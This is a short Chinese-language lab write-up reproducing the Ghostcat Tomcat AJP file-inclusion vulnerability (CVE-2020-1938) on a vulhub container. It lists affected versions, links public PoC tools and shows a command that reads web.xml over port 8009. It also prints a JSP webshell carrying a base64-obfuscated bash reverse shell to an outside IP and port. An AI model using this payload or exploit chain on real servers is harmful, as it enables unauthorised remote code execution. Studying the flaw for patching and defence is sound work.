概述:
CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat 上所有 webapp 目录下的任意文件,如:webapp配置文件、源代码等。同时,如果此应用在网站服务中具备上传功能,攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),然后利用Gh0stcat进行文件包含,从而达到代码执行的危害。
影响范围:
ApacheTomcat 6
ApacheTomcat 7 < 7.0.100
ApacheTomcat 8 < 8.5.51
ApacheTomcat 9 < 9.0.31
漏洞环境:
Tomcat 9.0.30(Centos7用vulhub搭建)
利用工具地址:
https://github.com/00theway/Ghostcat-CNVD-2020-10487
https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
漏洞复现
1.利用nmap扫描开放的端口,若开放了8009端口,则可能存在该漏洞
python2 poc.py -p 8009 -f"/WEB-INF/web.xml"
2.利用工具验证,成功读取文件
反弹shell利用
如果存在文件上传的功能点,可以上传文件,从而进行文件包含造成RCE
1.准备好的马
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNS4xMzUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
2.由于没有上传点,这就手动通过dokcer上传至容器中
3.在kali中设置监听
4.反弹shell
成功反弹